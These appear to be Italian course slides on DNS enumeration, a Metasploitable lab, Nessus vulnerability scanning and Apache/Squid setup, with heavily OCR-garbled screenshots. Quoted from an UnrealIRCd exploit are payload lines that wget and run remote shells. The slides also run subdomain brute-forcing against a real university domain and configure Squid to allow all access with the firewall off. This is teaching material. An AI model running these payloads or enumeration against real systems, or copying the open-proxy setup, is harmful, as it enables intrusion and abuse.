L'enumerazione mira a estrarre informazioni quali: nomi di servizio, gruppi, nomi di computer, indirizzi MAC, record DNS, informazioni SNMP e condivisioni. In genere qualsiasi servizio attivo è soggetto all'enumerazione.

dnsmap	https://code.google.com/archive/p/dnsmap/
dnsenum	https://github.com/fwaeytens/dnsenum
dnsrecon	https://github.com/darkoperator/dnsrecon
dnswalk	https://tools.kali.org/information-gathering/dnswalk
fierce	https://tools.kali.org/information-gathering/fierce
urlcrazy	http://morningstarsecurity.com/research/urlcrazy

host

	root@localhost:~	×
File Edit	View Search Terminal Help	
[root@loc Usage: ho -a -c -d -i -1 -1 -1 -N -N -N -N -N -N -N -V -V -V -V -V -V -V -V -V -V -V -V -V	<pre>alhost ~]# host st [-aCdilTTVVw] [-c class] [-N ndots] [-t type] [-W time] [-R number] [-m flag] hostname [server] is equivalent to -v -t ANY specifies query class for non-IN data compares SOA records on authoritative nameservers is equivalent to -v IP6.INT reverse lookups lists all hosts in a domain, using AXFR set memory debugging flag (trace record usage) changes the number of dots allowed before root lookup is done disables recursive processing specifies number of retries for UDP packets a SERVFAIL response should stop query specifies the query type enables TCP/IP mode enables UDP mode enables verbose output print version number and exit specifies to wait forever for a reply specifies how long to wait for a reply use IPv4 query transport only use IPv6 query transport only alhost ~]#</pre>	

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host unicam.it
host -t ns unicam.it
host -t mx unicam.it

fierce -dns unicam.it

	Shell No.1	_ ¤ ×
File Actions I	Edit View Help	
root@ :~# fi DNS Servers for camcic. dns.cin	erce -dns unicam.it unicam.it: unicam.it ueca.it	
Trying zone tra Testing Testing	nsfer first camcic.unicam.it Request timed out or transfer not allowed. dns.cineca.it Request timed out or transfer not allowed.	
Unsuccessful in Okay, trying th Checking for wi	zone transfer (it was worth a shot) e good old fashioned way brute force ldcard DNS	
Nope: 3004. Now performing 193.204.8.131 193.204.8.132 193.204.8.137 193.204.8.138 193.204.8.138 193.204.8.131 193.204.8.28 193.204.8.23 193.204.8.18	2280 test(s) provadocenti.unicam.it cicbib.unicam.it radius1.unicam.it radius2.unicam.it telealzheimer.unicam.it apollo.unicam.it proxy.unicam.it iorestoacasa.unicam.it	

http://ha.ckers.org/fierce/

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dnsenum unicam.it



https://github.com/fwaeytens/dnsenum

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DNS





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FINE

https://docs.rapid7.com/metasploit/metasploitable-2/#metasploitable-2

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities.

Metasploitable 2 is available at:

<u>https://information.rapid7.com/metasploitable-download.html</u>
<u>https://sourceforge.net/projects/metasploitable/</u>



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https://sourceforge.net/projects/metasploitable/



https://www.wikigain.com/download-install-metasploitable-in-virtualbox/

Nuova Impostazioni Scarta Avvia	
E Generale	Anteprima
Nome: metasploitable2 Sistema operativo: Other Linux (64-bit)	
I Sistema	
Memoria di base: 1024 MB Ordine di avvio: Floppy, Ottico, Disco fisso Accelerazione: VT-x/AMD-V, Paginazione nidificata, Paravirtualizzazione KVM	metasploitable2
E Schermo	
Memoria video: 16 MB Scheda grafica: VMSVGA Server di desktop remoto: Disabilitato Registrazione: Disabilitata	
Archiviazione	
Controller: IDE IDE master primario: Metasploitable.vmdk (Normale, 8,00 GB) IDE master secondario: [Lettore ottico] Vuoto	
խ Audio	
Driver host: Windows DirectSound Controller: ICH AC97	
🗗 Rete	
Scheda 1: PCnet-FAST III (NAT)	
🖉 USB	
Controller USB: OHCI, EHCI Filtri dispositivi: 0 (0 attivo)	
Cartelle condivise	
Nessuna	
Descrizione	
Nessuna	
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Getting Started

After the virtual machine boots, login to console with username msfadmin and password msfadmin. From the shell, run the ifconfig command to identify the IP address.

			Ð
1 2	msfadmiı	n@metasploitable:~\$ ifconfig	
3 4 5 6	eth0	Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1 inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1	

ifconfig sudo loadkeys it sudo shutdown -h now sudo halt per vedere indirizzo IP per settare la tastiera in italiano per spegnere il sistema per spegnere il sistema



vulnerability assessment

Versione completa



vulnerability assessment

Un vulnerability assessment è un esame sistematico dei punti deboli della sicurezza di un sistema informativo. Valuta se il sistema è suscettibile di vulnerabilità note, assegna livelli di gravità a tali vulnerabilità e raccomanda la correzione o la mitigazione, se e quando necessario.



Tipologia di assessment

Esistono diversi tipi di valutazione della vulnerabilità

- ✓ Host assessment Valutazione dei server critici, che possono essere vulnerabili agli attacchi se non adeguatamente testati o non generati da un'immagine macchina testata.
- ✓ Network and wireless assessment Valutazione delle politiche e delle pratiche per prevenire l'accesso non autorizzato alle reti private o pubbliche e alle risorse accessibili in rete.
- ✓ Database assessment valutazione dei database o dei sistemi di big data alla ricerca di vulnerabilità e configurazioni errate, identificazione di database non sicuri o di ambienti di sviluppo/test non sicuri e classificazione dei dati sensibili nell'infrastruttura di un'organizzazione.
- Application scans identificazione delle vulnerabilità di sicurezza nelle applicazioni web e nel loro codice sorgente mediante scansioni automatiche sul front-end o analisi statica/dinamica del codice sorgente

Identificazione delle vulnerabilità (test)

 L'obiettivo di questa fase è redigere un elenco completo delle vulnerabilità di un'applicazione. Gli analisti della sicurezza verificano lo stato di sicurezza di applicazioni, server o altri sistemi eseguendo scansioni con strumenti automatici o testandoli e valutandoli manualmente. Gli analisti si basano anche su database di vulnerabilità, annunci di vulnerabilità dei fornitori, sistemi di gestione delle risorse e feed di intelligence sulle minacce per identificare i punti deboli della sicurezza.



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Analisi delle vulnerabilità

 L'obiettivo di questa fase è identificare la fonte e la causa principale delle vulnerabilità identificate nella fase uno.Si tratta di identificare i componenti del sistema responsabili di ciascuna vulnerabilità e la causa principale della vulnerabilità. Ad esempio, la causa principale di una vulnerabilità potrebbe essere una vecchia versione di una libreria open source. Questo fornisce un chiaro percorso di rimedio: l'aggiornamento della libreria.



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Valutazione del rischio

- L'obiettivo di questa fase è la definizione delle priorità delle vulnerabilità. Gli analisti della sicurezza assegnano un punteggio di gravità a ciascuna vulnerabilità, in base a fattori quali:
 - Quali sistemi sono interessati.
 - Quali dati sono a rischio.
 - Quali funzioni aziendali sono a rischio.
 - Facilità di attacco o compromissione.
 - Gravità di un attacco.
 - Danno potenziale come risultato della vulnerabilità.



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Rimedio

- L'obiettivo di questa fase è la chiusura delle lacune di sicurezza. In genere si tratta di uno sforzo congiunto del personale addetto alla sicurezza, dei team di sviluppo e operativi, che determinano il percorso più efficace per la correzione o la mitigazione di ciascuna vulnerabilità. Le fasi specifiche di rimedio possono includere
 - Introduzione di nuove procedure, misure o strumenti di sicurezza.
 - L'aggiornamento di modifiche operative o di configurazione.
 - Sviluppo e implementazione di una patch di vulnerabilità.



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vulnerability assessment



VULNERABILITY ASSESSMENT vs PENETRATION TEST

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https://community.tenable.com/s/



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Nessus Agents	Download Nessus Agents for use with Tenable.io and Nessus Manager		View	v Dowr	loads		
Nessus Network Monitor	Download the Nessus Network Monitor.		Viev	v Dowr	loads	i i	
Tenable.sc	Download Tenable.sc		Viev	v Dowr	loads		

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Dow	nloads / Nessus				
Ne	Jump to: Release -				
	Need an Activation Code?				
	n order to complete your Nessus installation, Get Activation Code	, you need an activation code if you don't hav	re one alread	dy.	
Ne	ssus - 10.0.1			🖹 View Rele	ease Notes 🔻
	• Nessus-10.0.1-Win32.msi	Windows 7, 8, 10 (32-bit)	76.9 MB	Nov 17, 2021	Checksum
	Nessus-10.0.1-debian6_amd64.deb	Debian 9, 10 / Kali Linux 1, 2017.3, 2018, 2019, 2020 AMD64	49.9 MB	Nov 17, 2021	Checksum
	• Nessus-10.0.1- raspberrypios_armhf.deb	Raspberry Pi OS (32-bit)	46.6 MB	Nov 17, 2021	Checksum
	• Nessus-10.0.1-x64.msi	Windows Server 2008 R2, Server 2012, Server 2012 R2, 7, 8, 10, Server 2016, Server 2019 (64-bit)	83 MB	Nov 17, 2021	Checksum
	• Nessus-10.0.1.dmg	macOS (10.9 - 11.1)	64.5 MB	Nov 17, 2021	Checksum

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Nessus



Nessus



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https://localhost:8834/



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Otenable

Welcome To Nessus Essentials

Welcome to Nessus Essentials and congratulations on taking action to secure your network! We offer the latest plugins for vulnerability scanning today, helping you identify more vulnerabilities and keep your network protected.

If you're looking for more advanced capabilities, such as live results and configuration checks – as well as the ability to scan unlimited IPs, check out Nessus Professional. To learn more view the <u>Nessus Professional datasheet</u>.

Activating Your Nessus Essentials License Your activation code for Nessus Essentials is:

Download Nessus

This is a one-time code. If you uninstall and then reinstall you will need to register the scanner again and receive another activation code.

After initial installation of Nessus you will be prompted to set up and activate your scanner. For further details on activating your subscription review the <u>installation guide</u>.

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\frown	nessus
\checkmark	Essentials

Create a user account

Create a Nessus administrator user account. Use this username and password to log in to Nessus.

admin		
assword *		
•••••		
	Back	Submit

nessus

Initializing

Please wait while Nessus prepares the files needed to scan your assets.

Downloading plugins...

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https://docs.tenable.com/Nessus.htm

Documentation / Nessus

Nessus

Requirements

Nessus Scanner Hardware Requirements Nessus Scanner Software Requirements Nessus Agent Hardware Requirements Nessus Agent Software Requirements Licensing Requirements

Latest Release Notes

Version	Release Date
10.0.1	2021-11-17
10.0.0	2021-11-01
8.15.2	2021-09-20
8.15.1	2021-08-10
8.15.0	2021-06-15
8.14.0	2021-04-05

All release notes

User Guides

Name	Formats
Nessus 10,0,x User Guide	HTML PDF
Nessus 8,15,x User Guide	HTML PDF
Nessus 8,14,x User Guide	HTML PDF

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RESOURCES Policies Plugin Rules						
	To ne sc Er yo 19 19	Welcome to Nessus Es get started, launch a host discovery scan to id twork are available to scan. Hosts that are disc an do not count towards the 16 host limit on yi ter targets as hostnames, IPv4 addresses, or IF u can use CIDR notation (e.g., 192.168.0.0/24), 2.168.0.1-192.168.0.255), or a comma-separate 2.168.0.1	SENTIALS × entify what hosts on your covered through a discovery our license. Pv6 addresses. For IP addresses, a range (e.g., ed list (e.g., 192.168.0.0,			
	Та	Example: 192.168.1.1-192.168.1	.5, 192.168.2.0/24, test.com			
			Close Submit			
Tenable News Tales Of Zero-Day Disclosure: Tenable Researchers						
Read More		14 Cleme				

FATTO!!!

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Servizi (computer locale)			
Tenable Nessus	Nome Descrizio	ne Stato	Tipo di avvio
	🖏 Servizio rilevam 🛛 Proprietà (Computer locale) - Tenable Nessus	× client e offr In esecuzione	Manuale
Arresta il servizio	🚳 Servizio Risoluzi	Risoluzion In esecuzione	Manuale
Navvia il servizio	Servizio router A Generale Connessione Ripristino Relazioni di d	ipendenza lient AllJoy	Manuale (avvio trigger)
	🌼 Servizio router S 🛛 Nome del servizio: 🔹 Tenable Nessus	ati in base	Manuale (avvio trigger)
Descrizione:	🖏 Servizio routing 🛛 Nome visualizzato: 🔹 Tenable Nessus	ess Applica	Manuale (avvio trigger)
Ienable Nessus Network Security	🍓 Servizio Scambi	er lo scamb	Manuale (avvio trigger)
Scame	Servizio Segnala Descrizione: Tenable Nessus Network Secu	inty Scanner do i progra	Manuale (avvio trigger)
	🧟 Servizio sensori	unzionalità	Manuale (avvio trigger)
	🤹 Servizio Sicurezz	sce la prote In esecuzione	Manuale
	Servizio Sincreal	a ava	Manuale (avvio trigger)
	Servizio SSTP Se	STP (Secure In esecuzione	Manuale
	🙀 Servizio tastiera Tipo di avvio: Manuale	dell <mark>o</mark> tastier In esecuzione	Manuale (avvio trigger)
	🚳 Servizio Telef	sitivo	Manuale (avvio trigger)
	🍓 Servizio trasferir	ando la lar	Manuale
	Servizio User Exi Stato del servizio: In esecuzione	elle impost	Disabilitato
	🗟 Servizio Virtualiz	cazioni tra l	Manuale (avvio trigger)
	🔆 Servizio Windov Avvia Interrompi Sosper	di Riprendi ed Threat P	Manuale
	Servizio Windov È possibile specificare i parametri iniziali da applica	re quando il servizio per il Progr	Manuale (avvio trigger)
	Shared PC Acco viene avviato da qui.	SharedPC c	Disabilitato
	🖏 Sistema di gesti	altri servizi In esecuzione	Automatico
	Smart Card	e dal comp	Manuale (avvio trigger)
	🥋 SMP spazi di arc	iviazione M	Manuale
	🚳 Spooler di stam	lei processi In esecuzione	Automatico
	🖏 Strumentazione	i oggetti c In esecuzione	Automatico
	🖏 Strumento di ag	Annulla Annlica rio del sist	Disabilitato
	🕼 Supporto del pa	r la visualiz	Manuale
	🖏 SysMain Mantien	e e migliora nel tempo le prestazioni de In esecuzione	Automatico
_	🖏 Telefonia 🛛 💦 Fornisce	il supporto per TAPI (Telephony API) ai In esecuzione	Manuale
	🖏 Temi Consent	e la gestione dei temi. In esecuzione	Automatico
	Cenable Nessus Tenable	Vessus Network Security Scanner In esecuzione	Automatico
	🖏 Tran SNIMD Riceve m	essaggi tran generati da agenti Simple	Manuale
	🖏 UdkUserSvc_3b499 Servizio	componenti Shell	Manuale
	WnistoreSvc_3b499 Gestisce	l'archiviazione dei dati utente strutturat In esecuzione	Manuale
	User Energy Server Service gueencreek Intel(r) E	nergy Checker SDK. ESRV Service gueen	Manuale

PowerShell → Get-Service 'Tenable Nessus'

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Tenable News CVE-2020-27125, CVE-2020-27130, CVE-2020-27131: Pr Read More 12/10/2023	Save Cancel	Upload Targets	Add File copyright Marcantoni Fausto	

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TENABLE Community Research Tenable News			
Multiple Vulnerabilities		copyright Marcantoni Fausto	





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HOMES	Filter Search Vul	nerabilities Q 16 Vulnera	abilities		
Policies	Sev • Score	e 🔹 Name 🔺	Family 🔺	Count 🔹	Scan Details
Plugin Rules	CRITICAL 10.0)* NFS Exported Share Informat	RPC	1	Policy: Basic Network Scan
	MIXED "	6 DNS (Multiple Issues)	DNS	6	Severity Base: CVSS v3.0
	HIGH 7.	5 Samba Badlock Vulnerability	General	1	Start: Today at 10:50 AM
	MIXED	6 ISC Bind (Multiple Issues)	DNS	6	Vulnerabilities
	INFO	6 SMB (Multiple Issues)	Windows	7	Critical
	INFO	2 RPC (Multiple Issues)	RPC	2	Medium Low
	INFO	Nessus SYN scanner	Port scanners	24	• Info
	INFO	RPC Services Enumeration	Service detection	10	
	INFO	ICMP Timestamp Request Re	General	1	
able News	INFO	NFS Share Export List	RPC	1	
ew Data Reveals	INFO	Samba Server Detection	Service detection	1	
ed To Remot	INFO	Samba Version	Misc.	1	
Read More	INFO	Server Message Block (SMB)	Misc.	1	

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$\leftarrow \rightarrow \ \mathbb{C} \ \textcircled{0} \ \mathbb{O}$	A https://localhost:8834/#/scans/reports/5/vulnerabilities/11356	☆ Q Cerca	♡ 🛓 🥥 🔩 💽 ≡
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FOLDERS My Scans All Scans	Metasploitable / Plugin #11356 < Back to Vulnerabilities Hosts 1 Vulnerabilities 30 History 1		Configure
RESOURCES	CRITICAL NFS Exported Share Information Disclos	sure	Plugin Details
PoliciesPlugin Rules	Description At least one of the NFS shares exported by the remote server could b may be able to leverage this to read (and possibly write) files on remo	e mounted by the scanning host. An attacker te host.	Severity: Critical ID: 11356 Version: 1.20 Type: remote
	Solution Configure NFS on the remote host so that only authorized hosts can r	nount its remote shares.	Family: RPC Published: March 12, 2003 Modified: September 17, 2018
	Output		Risk Information
	The following NFS shares could be mounted : + / + Contents of / : - bin - boot - cdrom - dev		Risk Factor: Critical CVSS v2.0 Base Score: 10.0 CVSS v2.0 Vector: CVSS2#AV:N/AC:L/Au:N/C:C /I:C/A:C
	more		Exploit Available: true
	Port Hosts 2049 / udp / rpc-nfs 193.205.92.113		Exploit Ease: Exploits are available Vulnerability Pub Date: January 1, 1985
Schneider Electric			Exploitable With
C-Gate Multiple Vulnerabilities			Metasploit (NFS Mount Scanner)
Read More			Reference Information
		-11/1/10/11	CVE: CVF-1999-0170 CVE-1999-0211

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	CRITICAL UnrealIRCd Backdoor Detection	Plugin Details
 Policies Plugin Rules 	Description The remote IRC server is a version of UnrealIRCd with a backdoor that allows an attacker to execute arbitrary code on the affected host.	Severity: Critical ID: 46882 Version: 1.15
	Solution Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.	Type: remote Family: Backdoors Published: June 14, 2210
	See Also https://seclists.org/fulldisclosure/2010/Jun/277 https://seclists.org/fulldisclosure/2010/Jun/284 http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt	Modified: November 28, 2018 Risk Information Risk Factor: Critical
	Output	CVSS v2.0 Base Score: 10.0 CVSS v2.0 Temporal Score: 8.3
	The remote IRC server is running as : uid=0(root) gid=0(root)	CVSS v2_tVector: CVSS2#AV:N/AC:L/Au:N/C:C /I:C/A:C CVSS/2_0_Temporal Vector: CVSS#E-C4_Temporal Vector:
	Port - Hosts	CO22#ESTREOTREE
	6667 / tcp / irc 193.205.92.113	Vulnerability Information
		CPE: cpe:/a:unrealircd:unrealircd Exploit Available: true Exploit Ease: Exploits are available Patch Pub Date: June 12, 2010 Vulnerability Pub Date: June 12, 2010
		Exploitable With
Tenable News		Metasploit (UnrealIRCD 3.2.8.1 Backdoor Command Execution) CANVAS ()
CODESYS V2 Web Server Multiple		Reference Information
Read More		BID: 40820 CVE: CVE: 2010-2075
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Vulnerability Information

CPE: cpe:/a:unrealircd:unrealircd Exploit Available: true Exploit Ease: Exploits are available Patch Pub Date: June 12, 2010 Vulnerability Pub Date: June 12, 2010

Exploitable With

Metasploit (UnrealIRCD 3.2.8.1 Backdoor Command Execution) CANVAS ()

Reference Information

BID: 40820 CVE: CVE-2010-2075

CVE-2010-2075

EDB-ID: CVE: 13853 2010-2075 EDB Verified: Author: Type: EDB Verified: Exploit: / {} Vulnerable App: • vulnerable • vulnerable <t< th=""><th>EDB-ID: 13853</th><th>100000</th><th></th><th></th><th colspan="6">UnrealIRCd 3.2.8.1 - Remote Downloader/Execute</th></t<>	EDB-ID: 13853	100000			UnrealIRCd 3.2.8.1 - Remote Downloader/Execute					
EDB Verified: ✓ Exploit: ▲ / {} Vulnerable App: ■ //bin/perl 113/2.0.8.1 kmote Downloader/Execute Trojan Or DISTREDUTE -PRIVATE- IN (218) (218) vket; *::Socket; load options vjoadt = 'AB; cd /tmp; Nget http://packetstommeecurity.org/groups/symmergy/bindshell-unix -0 bindshell; chmod +x bindshell; ./bindshell &'; vjoadt = 'AB; cd /tmp; Nget http://efnetbs.webs.com/rot.txt -0 rotshell; chmod +x rohell &: /vot &'; vjoadt = 'AB; cd /tmp; Nget http://efnetbs.webs.com/rot.txt -0 rotshell; chmod +x rohell &: /vot &'; vjoadt = 'AB; cd /tmp; Nget http://efnetbs.webs.com/rot.txt -0 rotshell; chmod +x rohell &: /vot &'; vjoadt = 'AB; cd /tmp; Nget http://efnetbs.webs.com/rot.txt -0 rotshell; chmod +x rohell &: /vot &'; vjoadt = 'AB; cd /tmp; Nget http://efnetbs.webs.com/rot.txt -0 rotshell; chmod +x rohell &: /vot &'; vjoadt = 'AB; cd /tmp; Nget http://efnetbs.webs.com/rot.txt -0 rotshell; chmod +x rohell &: /vot &'; vjoadt = 'AB; cd /tmp; Nget http://efnetbs.webs.com/rot.txt -0 rotshell; chmod +x rohell &: /vot &'; ************************************		2010-2075	Author:	Type: REMOTE	Platform:	Date: 2010-06-13				
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learch Actions	Q. 4 Actions	
Action	Vulns	 Hosts
ISC BIND 9.x < 9.11.22, 9.12.3 9.16.6, 9.17.4 or later.	x < 9.16.6, 9.17.x < 9.17.4 DoS: Upgrade to BIND 9.11.22, 3	1
Apache Tomcat AJP Connect configuration to require auth 8.5.51, 9.0.31 or later.	tor Request Injection (Ghostcat): Update the AJP 2 horization and/or upgrade the Tomcat server to 7.0.100,	1
Apache Tomcat AJP Connect configuration to require auth 8.5.51, 9.0.31 or later. Samba Badlock Vulnerability	tor Request Injection (Ghostcat): Update the AJP 2 horization and/or upgrade the Tomcat server to 7.0.100, y: Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later. 1	1

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VPR Top Threats 😗

History 1



Assessed Threat Level: Critical

The following vulnerabilities are ranked by Tenable's patented Vulnerability Priority Rating (VPR) system. The findings listed below detail the top ten vulnerabilities, providing a prioritized view to help guide remediation to effectively reduce risk. Click on each finding to show further details along with the impacted hosts. To learn more about Tenable's VPR scoring system, see Predictive Prioritization.

VPR Severity	Name	Reasons	VPR Score 🔹	Hosts
CRITICAL	Apache Tomcat AJP Connector Reque	Social Media	9.6	1
HIGH	Debian OpenSSH/OpenSSL Package R	. No recorded events	7.4	1
HIGH	Debian OpenSSH/OpenSSL Package R	. No recorded events	7.4	1
HIGH	UnrealIRCd Backdoor Detection	No recorded events	7.4	1
MEDIUM	Samba Badlock Vulnerability	No recorded events	6.7	1
MEDIUM	SMTP Service STARTTLS Plaintext Com.	. No recorded events	6.3	1
MEDIUM	SSL DROWN Attack Vulnerability (Decr	. No recorded events	6.1	1
MEDIUM	ISC BIND Service Downgrade / Reflect	No recorded events	6.0	1

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Greenbone Community Documentation



https://greenbone.github.io/docs/latest/index.html

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Docker



https://docs.docker.com/engine/reference/commandline/docker/



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How to Enable and Disable Root User Account in Ubuntu

https://linuxize.com/post/how-to-enable-and-disable-root-user-account-in-ubuntu/

\$ sudo passwd root Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully

\$ ip a (per conoscere il proprio ip address)

\$ sudo apt install apache2 № 192,168,100,12 な ☆ Q Cerca \bigcirc Apache2 Default Page Ubuntu It works! This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should **replace this file** (located at /var/www/html/index.html) before continuing to operate your HTTP server. If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator. **Configuration Overview** Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several files optimized for interaction with Ubuntu tools. The configuration system is fully documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full documentation. Documentation for the web server itself can be found by accessing the manual if the apache2-doc package was installed on this server. The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:



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\$ sudo apt install apache2



\$ nano /var/www/html/index.html



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\$ sudo nano /var/www/html/index.html



\$ sudo vi /var/www/html/index.html

\$ sudo gedit /var/www/html/index.html

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Codice javascript per visualizzare l'indirizzo ip del client browser

```
<!DOCTYPE html>
   <html>
   <head>
     <title>Visualizza IP Address</title>
   </head>
   <body>
     <h1>II tuo indirizzo IP:</h1>
     Sto cercando il tuo indirizzo IP...
     <script type="text/javascript">
       // Funzione per ottenere l'indirizzo IP del client
       function getIpAddress() {
         fetch("https://api.ipify.org?format=json")
            .then(response => response.json())
            .then(data => {
              const ipAddress = data.ip;
              document.getElementById("ip-address").textContent = "II tuo indirizzo IP è: " + ipAddress;
            })
            .catch(error => {
              document.getElementById("ip-address").textContent = "Impossibile ottenere l'indirizzo IP.";
           });
       }
       // Chiama la funzione per ottenere l'indirizzo IP guando la pagina si carica
       getIpAddress();
     </script>
   </body>
   </html>
                                                            copyright Marcantoni Fausto
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```

http://www.squid-cache.org/

sudo -s
apt-get update
apt-get upgrade
apt-get -y install squid
systemctl enable squid
Edit the file /etc/squid/squid.conf
 find "http_access deny all" words.
 set this to "allow all".
ufw disable (forse non serve, ma...)
service squid restart



Install squid webmin ubuntu

https://webmin.com/

http://doxfer.webmin.com/Webmin/Main_Page



sudo -s
apt install curl
curl -o setup-repos.sh <u>https://raw.githubusercontent.com/webmin/webmin/master/setup-repos.sh
sh setup-repos.sh
apt-get install webmin --install-recommends</u>

https://localhost:10000/

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Initialize cache proxy

Squid Proxy Server					
Your Squid cache directory /var/	spool/squid has not been	n initialized.This r	must be done l	pefore Squid can be run.	
C Ini	tialize Cache as Unix u	ser proxy	ది		
				Stopping squid Done	
				Initializing the Squid cache with the command squid -f /etc/so	quid/squid.conf -
~				2023/10/07 10:30:28 kid1 Set Current Directory to / 2023/10/07 10:30:28 kid1 Creating missing swap direc 2023/10/07 10:30:28 kid1 /var/spool/squid exists 2023/10/07 10:30:28 kid1 Making directories in /var	var/spool/squid ctories /spool/squid/00
				2023/10/07 10:30:28 kid1 Making directories in /var 2023/10/07 10:30:28 kid1 Making directories in /var	/spool/squid/00 /spool/squid/01 /spool/squid/02
				2023/10/07 10:30:28 kid1 Making directories in /var 2023/10/07 10:30:28 kid1 Making directories in /var	/spool/squid/03 /spool/squid/04
	Y			2023/10/07 10:30:28 kid1 Making directories in /var 2023/10/07 10:30:28 kid1 Making directories in /var	/spool/squid/05 /spool/squid/06
				2023/10/0/ 10:30:29 kid1 Making directories in /var 2023/10/07 10:30:29 kid1 Making directories in /var	/spool/squid/0/ /spool/squid/08
				2023/10/0/ 10:30:29 kid1 Making directories in /var 2023/10/07 10:30:29 kid1 Making directories in /var	/spool/squid/09 /spool/squid/0A
				2023/10/07 10:30:29 kid1 Making directories in /var 2023/10/07 10:30:29 kid1 Making directories in /var	/spool/squid/0B /spool/squid/0C
				2023/10/07 10:30:29 kid1 Making directories in /var 2023/10/07 10:30:29 kid1 Making directories in /var	/spool/squid/0D /spool/squid/0E
				2023/10/07 10:30:29 kid1 Making directories in /var 2023/10/07 10:30:29 Removing PID file (/run/squid.p	/spool/squid/0F id)
				← Return to squid index	
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Install squid webmin ubuntu



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